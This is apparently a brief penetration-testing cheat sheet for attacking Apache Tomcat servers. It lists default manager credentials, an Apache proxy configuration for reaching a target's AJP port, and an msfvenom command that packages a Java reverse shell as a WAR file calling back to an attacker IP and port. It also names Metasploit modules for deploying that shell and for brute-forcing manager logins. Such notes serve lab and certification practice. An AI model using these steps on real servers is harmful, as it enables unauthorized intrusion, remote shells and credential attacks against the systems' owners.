Overview
Tomcat usually listens on the following ports:
- 8080 — HTTP
- 8005 — Port for shutting down the Tomcat server; not interesting here
- 8009 — Same functions as the HTTP port, but via the Apache JServ protocol AJP.
- AJP is basically HTTP in a compressed/binary form.
Checklist
- Check if /manager is accessible.
- Default credentials are tomcat / s3cret or admin / admin
AJP
To communicate via the AJP port, Apache can be used to convert plain HTTP requests to AJP request.
- Install an Apache2
- Install libapache2-mod-jk
- Restart Apache2
- Add a proxy to the victim
ProxyRequests Off <Proxy *> Order deny,allow Deny from all Allow from localhost </Proxy> ProxyPass / ajp://10.11.1.222:8009/ ProxyPassReverse / ajp://10.11.1.222:8009/
Request can now made via localhost.
Exploit
Upload a WAR file with reverse shell code (Source):
msfvenom -p java/shell_reverse_tcp LHOST=192.168.109.129 LPORT=4444 -f war > shell3.war
Or do it with exploit/multi/http/tomcat_mgr_deploy.
Notes
- Use scanner/http/tomcat_mgr_login to brute-force (Source)
Leave a Reply
You must be logged in to post a comment.